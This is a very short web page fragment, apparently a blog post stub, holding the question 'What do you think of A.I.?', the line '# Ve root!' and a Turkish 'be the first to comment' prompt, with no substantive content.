What do you think of A.I.?
# Ve root!
İlk Yorumu Siz Yapın